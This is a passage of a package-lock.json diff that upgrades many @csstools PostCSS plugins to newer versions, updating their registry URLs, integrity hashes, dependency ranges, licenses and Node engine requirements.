"3.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-exponential-functions/-/postcss-exponential-functions-3.0.1.tgz", + "integrity": "sha512-WHJ52Uk0AVUIICEYRY9xFHJZAuq0ZVg0f8xzqUN2zRFrZvGgRPpFwxK7h9FWvqKIOueOwN6hnJD23A8FwsUiVw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-calc": "^3.1.1", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" + }, + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-font-format-keywords": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-2.0.2.tgz", - "integrity": "sha512-iKYZlIs6JsNT7NKyRjyIyezTCHLh4L4BBB3F5Nx7Dc4Z/QmBgX+YJFuUSar8IM6KclGiAUFGomXFdYxAwJydlA==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-5.0.0.tgz", + "integrity": "sha512-M1EjCe/J3u8fFhOZgRci74cQhJ7R0UFBX6T+WqoEvjrr8hVfMiV+HTYrzxLY5OW8YllvXYr5Q5t5OvJbsUSeDg==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { + "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-font-width-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-font-width-property/-/postcss-font-width-property-1.0.0.tgz", + "integrity": "sha512-AvmySApdijbjYQuXXh95tb7iVnqZBbJrv3oajO927ksE/mDmJBiszm+psW8orL2lRGR8j6ZU5Uv9/ou2Z5KRKA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/utilities": "^3.0.0" + }, + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-gamut-mapping": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-gamut-mapping/-/postcss-gamut-mapping-3.0.2.tgz", + "integrity": "sha512-IrXAW3KQ3Sxm29C3/4mYQ/iA0Q5OH9YFOPQ2w24iIlXpD06A9MHvmQapP2vAGtQI3tlp2Xw5LIdm9F8khARfOA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^4.0.2", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" + }, + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-gradients-interpolation-method": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/@csstools/postcss-gradients-interpolation-method/-/postcss-gradients-interpolation-method-3.0.6.tgz", - "integrity": "sha512-rBOBTat/YMmB0G8VHwKqDEx+RZ4KCU9j42K8LwS0IpZnyThalZZF7BCSsZ6TFlZhcRZKlZy3LLFI2pLqjNVGGA==", + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-gradients-interpolation-method/-/postcss-gradients-interpolation-method-6.0.2.tgz", + "integrity": "sha512-saQHvD1PD/zCdn+kxCWCcQOdXZBljr8L6BKlCLs0w8GXYfo3SHdWL1HZQ+I1hVCPlU+MJPJJbZJjG/jHRJSlAw==", "dev": true, "funding": [ { @@ -8478,23 +8106,25 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/css-color-parser": "^1.2.0", - "@csstools/css-parser-algorithms": "^2.1.1", - "@csstools/css-tokenizer": "^2.1.1", - "@csstools/postcss-progressive-custom-properties": "^2.3.0" + "@csstools/css-color-parser": "^4.0.2", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-hwb-function": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/@csstools/postcss-hwb-function/-/postcss-hwb-function-2.2.2.tgz", - "integrity": "sha512-W5Y5oaJ382HSlbdGfPf60d7dAK6Hqf10+Be1yZbd/TNNrQ/3dDdV1c07YwOXPQ3PZ6dvFMhxbIbn8EC3ki3nEg==", + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-hwb-function/-/postcss-hwb-function-5.0.2.tgz", + "integrity": "sha512-ChR0+pKc/2cs900jakiv8dLrb69aez5P3T+g+wfJx1j6mreAe8orKTiMrVBk+DZvCRqpdOA2m8VoFms64A3Dew==", "dev": true, "funding": [ { @@ -8506,22 +8136,25 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/css-color-parser": "^1.2.0", - "@csstools/css-parser-algorithms": "^2.1.1", - "@csstools/css-tokenizer": "^2.1.1" + "@csstools/css-color-parser": "^4.0.2", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-ic-unit": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/@csstools/postcss-ic-unit/-/postcss-ic-unit-2.0.4.tgz", - "integrity": "sha512-9W2ZbV7whWnr1Gt4qYgxMWzbevZMOvclUczT5vk4yR6vS53W/njiiUhtm/jh/BKYwQ1W3PECZjgAd2dH4ebJig==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-ic-unit/-/postcss-ic-unit-5.0.0.tgz", + "integrity": "sha512-/ws5d6c4uKqfM9zIL3ugcGI+3fvZEOOkJHNzAyTAGJIdZ+aSL9BVPNlHGV4QzmL0vqBSCOdU3+rhcMEj3+KzYw==", "dev": true, "funding": [ { @@ -8533,21 +8166,46 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/postcss-progressive-custom-properties": "^2.3.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-initial": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-initial/-/postcss-initial-3.0.0.tgz", + "integrity": "sha512-UVUrFmrTQyLomVepnjWlbBg7GoscLmXLwYFyjbcEnmpeGW7wde6lNpx5eM3eVwZI2M+7hCE3ykYnAsEPLcLa+Q==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-is-pseudo-class": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-3.2.1.tgz", - "integrity": "sha512-AtANdV34kJl04Al62is3eQRk/BfOfyAvEmRJvbt+nx5REqImLC+2XhuE6skgkcPli1l8ONS67wS+l1sBzySc3Q==", + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-6.0.0.tgz", + "integrity": "sha512-1Hdy/ykg9RDo8vU8RiM2o+RaXO39WpFPaIkHxlAEJFofle/lc33tdQMKhBk3jR/Fe+uZNLOs3HlowFafyFptVw==", "dev": true, "funding": [ { @@ -8559,75 +8217,210 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/selector-specificity": "^2.0.0", - "postcss-selector-parser": "^6.0.10" + "@csstools/selector-specificity": "^6.0.0", + "postcss-selector-parser": "^7.1.1" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-is-pseudo-class/node_modules/@csstools/selector-specificity": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-6.0.0.tgz", + "integrity": "sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss-selector-parser": "^7.1.1" + } + }, + "node_modules/@csstools/postcss-is-pseudo-class/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@csstools/postcss-light-dark-function": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-light-dark-function/-/postcss-light-dark-function-3.0.0.tgz", + "integrity": "sha512-s++V5/hYazeRUCYIn2lsBVzUsxdeC46gtwpgW6lu5U/GlPOS5UTDT14kkEyPgXmFbCvaWLREqV7YTMJq1K3G6w==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" + }, + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-logical-float-and-clear": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-float-and-clear/-/postcss-logical-float-and-clear-1.0.1.tgz", - "integrity": "sha512-eO9z2sMLddvlfFEW5Fxbjyd03zaO7cJafDurK4rCqyRt9P7aaWwha0LcSzoROlcZrw1NBV2JAp2vMKfPMQO1xw==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-float-and-clear/-/postcss-logical-float-and-clear-4.0.0.tgz", + "integrity": "sha512-NGzdIRVj/VxOa/TjVdkHeyiJoDihONV0+uB0csUdgWbFFr8xndtfqK8iIGP9IKJzco+w0hvBF2SSk2sDSTAnOQ==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-logical-overflow": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-overflow/-/postcss-logical-overflow-3.0.0.tgz", + "integrity": "sha512-5cRg93QXVskM0MNepHpPcL0WLSf5Hncky0DrFDQY/4ozbH5lH7SX5ejayVpNTGSX7IpOvu7ykQDLOdMMGYzwpA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-logical-overscroll-behavior": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-overscroll-behavior/-/postcss-logical-overscroll-behavior-3.0.0.tgz", + "integrity": "sha512-82Jnl/5Wi5jb19nQE1XlBHrZcNL3PzOgcj268cDkfwf+xi10HBqufGo1Unwf5n8bbbEFhEKgyQW+vFsc9iY1jw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-logical-resize": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-resize/-/postcss-logical-resize-1.0.1.tgz", - "integrity": "sha512-x1ge74eCSvpBkDDWppl+7FuD2dL68WP+wwP2qvdUcKY17vJksz+XoE1ZRV38uJgS6FNUwC0AxrPW5gy3MxsDHQ==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-resize/-/postcss-logical-resize-4.0.0.tgz", + "integrity": "sha512-L0T3q0gei/tGetCGZU0c7VN77VTivRpz1YZRNxjXYmW+85PKeI6U9YnSvDqLU2vBT2uN4kLEzfgZ0ThIZpN18A==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-logical-viewport-units": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-viewport-units/-/postcss-logical-viewport-units-1.0.3.tgz", - "integrity": "sha512-6zqcyRg9HSqIHIPMYdt6THWhRmE5/tyHKJQLysn2TeDf/ftq7Em9qwMTx98t2C/7UxIsYS8lOiHHxAVjWn2WUg==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-viewport-units/-/postcss-logical-viewport-units-4.0.0.tgz", + "integrity": "sha512-TA3AqVN/1IH3dKRC2UUWvprvwyOs2IeD7FDZk5Hz20w4q33yIuSg0i0gjyTUkcn90g8A4n7QpyZ2AgBrnYPnnA==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { - "@csstools/css-tokenizer": "^2.1.1" + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/utilities": "^3.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-media-minmax": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@csstools/postcss-media-minmax/-/postcss-media-minmax-1.1.2.tgz", - "integrity": "sha512-7qTRTJxW96u2yiEaTep1+8nto1O/rEDacewKqH+Riq5E6EsHTOmGHxkB4Se5Ic5xgDC4I05lLZxzzxnlnSypxA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-media-minmax/-/postcss-media-minmax-3.0.1.tgz", + "integrity": "sha512-I+CrmZt23fyejMItpLQFOg9gPXkDBBDjTqRT0UxCTZlYZfGrzZn4z+2kbXLRwDfR59OK8zaf26M4kwYwG0e1MA==", "dev": true, "funding": [ { @@ -8639,23 +8432,24 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT", "dependencies": { - "@csstools/css-calc": "^1.1.6", - "@csstools/css-parser-algorithms": "^2.5.0", - "@csstools/css-tokenizer": "^2.2.3", - "@csstools/media-query-list-parser": "^2.1.7" + "@csstools/css-calc": "^3.1.1", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/media-query-list-parser": "^5.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-media-queries-aspect-ratio-number-values": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@csstools/postcss-media-queries-aspect-ratio-number-values/-/postcss-media-queries-aspect-ratio-number-values-1.0.4.tgz", - "integrity": "sha512-IwyTbyR8E2y3kh6Fhrs251KjKBJeUPV5GlnUKnpU70PRFEN2DolWbf2V4+o/B9+Oj77P/DullLTulWEQ8uFtAA==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-media-queries-aspect-ratio-number-values/-/postcss-media-queries-aspect-ratio-number-values-4.0.0.tgz", + "integrity": "sha512-FDdC3lbrj8Vr0SkGIcSLTcRB7ApG6nlJFxOxkEF2C5hIZC1jtgjISFSGn/WjFdVkn8Dqe+Vx9QXI3axS2w1XHw==", "dev": true, "funding": [ { @@ -8667,60 +8461,103 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/css-parser-algorithms": "^2.2.0", - "@csstools/css-tokenizer": "^2.1.1", - "@csstools/media-query-list-parser": "^2.1.1" + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/media-query-list-parser": "^5.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-mixins": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-mixins/-/postcss-mixins-1.0.0.tgz", + "integrity": "sha512-rz6qjT2w9L3k65jGc2dX+3oGiSrYQ70EZPDrINSmSVoVys7lLBFH0tvEa8DW2sr9cbRVD/W+1sy8+7bfu0JUfg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" + }, + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-nested-calc": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/@csstools/postcss-nested-calc/-/postcss-nested-calc-2.0.2.tgz", - "integrity": "sha512-jbwrP8rN4e7LNaRcpx3xpMUjhtt34I9OV+zgbcsYAAk6k1+3kODXJBf95/JMYWhu9g1oif7r06QVUgfWsKxCFw==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-nested-calc/-/postcss-nested-calc-5.0.0.tgz", + "integrity": "sha512-aPSw8P60e/i9BEfugauhikBqgjiwXcw3I9o4vXs+hktl4NSTgZRI0QHimxk9mst8N01A2TKDBxOln3mssRxiHQ==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { + "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-normalize-display-values": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-2.0.1.tgz", - "integrity": "sha512-TQT5g3JQ5gPXC239YuRK8jFceXF9d25ZvBkyjzBGGoW5st5sPXFVQS8OjYb9IJ/K3CdfK4528y483cgS2DJR/w==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-5.0.1.tgz", + "integrity": "sha512-FcbEmoxDEGYvm2W3rQzVzcuo66+dDJjzzVDs+QwRmZLHYofGmMGwIKPqzF86/YW+euMDa7sh1xjWDvz/fzByZQ==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-oklab-function": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/@csstools/postcss-oklab-function/-/postcss-oklab-function-2.2.3.tgz", - "integrity": "sha512-AgJ2rWMnLCDcbSMTHSqBYn66DNLBym6JpBpCaqmwZ9huGdljjDRuH3DzOYzkgQ7Pm2K92IYIq54IvFHloUOdvA==", + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-oklab-function/-/postcss-oklab-function-5.0.2.tgz", + "integrity": "sha512-3d/Wcnp2uW6Io0Tajl0croeUo46gwOVQI9N32PjA/HVQo6z1iL7yp19Gp+6e5E5CDKGpW7U822MsDVo2XK1z0Q==", "dev": true, "funding": [ { @@ -8732,23 +8569,48 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/css-color-parser": "^1.2.0", - "@csstools/css-parser-algorithms": "^2.1.1", - "@csstools/css-tokenizer": "^2.1.1", - "@csstools/postcss-progressive-custom-properties": "^2.3.0" + "@csstools/css-color-parser": "^4.0.2", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-position-area-property": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-position-area-property/-/postcss-position-area-property-2.0.0.tgz", + "integrity": "sha512-TeEfzsJGB23Syv7yCm8AHCD2XTFujdjr9YYu9ebH64vnfCEvY4BG319jXAYSlNlf3Yc9PNJ6WnkDkUF5XVgSKQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-progressive-custom-properties": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-2.3.0.tgz", - "integrity": "sha512-Zd8ojyMlsL919TBExQ1I0CTpBDdyCpH/yOdqatZpuC3sd22K4SwC7+Yez3Q/vmXMWSAl+shjNeFZ7JMyxMjK+Q==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-5.0.0.tgz", + "integrity": "sha512-NsJoZ89rxmDrUsITf8QIk5w+lQZQ8Xw5K6cLFG+cfiffsLYHb3zcbOOrHLetGl1WIhjWWQ4Cr8MMrg46Q+oACg==", "dev": true, "funding": [ { @@ -8760,20 +8622,76 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-property-rule-prelude-list": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-property-rule-prelude-list/-/postcss-property-rule-prelude-list-2.0.0.tgz", + "integrity": "sha512-qcMAkc9AhpzHgmQCD8hoJgGYifcOAxd1exXjjxilMM6euwRE619xDa4UsKBCv/v4g+sS63sd6c29LPM8s2ylSQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" + }, + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-random-function": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-random-function/-/postcss-random-function-3.0.1.tgz", + "integrity": "sha512-SvKGfmj+WHfn4bWHaBYlkXDyU3SlA3fL8aaYZ8Op6M8tunNf3iV9uZyZZGWMCbDw0sGeoTmYZW9nmKN8Qi/ctg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-calc": "^3.1.1", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" + }, + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-relative-color-syntax": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@csstools/postcss-relative-color-syntax/-/postcss-relative-color-syntax-1.0.2.tgz", - "integrity": "sha512-juCoVInkgH2TZPfOhyx6tIal7jW37L/0Tt+Vcl1LoxqQA9sxcg3JWYZ98pl1BonDnki6s/M7nXzFQHWsWMeHgw==", + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@csstools/postcss-relative-color-syntax/-/postcss-relative-color-syntax-4.0.2.tgz", + "integrity": "sha512-HaMN+qMURinllszbps2AhXKaLeibg/2VW6FriYDrqE58ji82+z2S3/eLloywVOY8BQCJ9lZMdy6TcRQNbn9u3w==", "dev": true, "funding": [ { @@ -8785,63 +8703,174 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/css-color-parser": "^1.2.0", - "@csstools/css-parser-algorithms": "^2.1.1", - "@csstools/css-tokenizer": "^2.1.1", - "@csstools/postcss-progressive-custom-properties": "^2.3.0" + "@csstools/css-color-parser": "^4.0.2", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/utilities": "^3.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-scope-pseudo-class": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/@csstools/postcss-scope-pseudo-class/-/postcss-scope-pseudo-class-2.0.2.tgz", - "integrity": "sha512-6Pvo4uexUCXt+Hz5iUtemQAcIuCYnL+ePs1khFR6/xPgC92aQLJ0zGHonWoewiBE+I++4gXK3pr+R1rlOFHe5w==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-scope-pseudo-class/-/postcss-scope-pseudo-class-5.0.0.tgz", + "integrity": "sha512-kBrBFJcAji3MSHS4qQIihPvJfJC5xCabXLbejqDMiQi+86HD4eMBiTayAo46Urg7tlEmZZQFymFiJt+GH6nvXw==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { - "postcss-selector-parser": "^6.0.10" + "postcss-selector-parser": "^7.1.1" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-scope-pseudo-class/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@csstools/postcss-sign-functions": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-sign-functions/-/postcss-sign-functions-2.0.1.tgz", + "integrity": 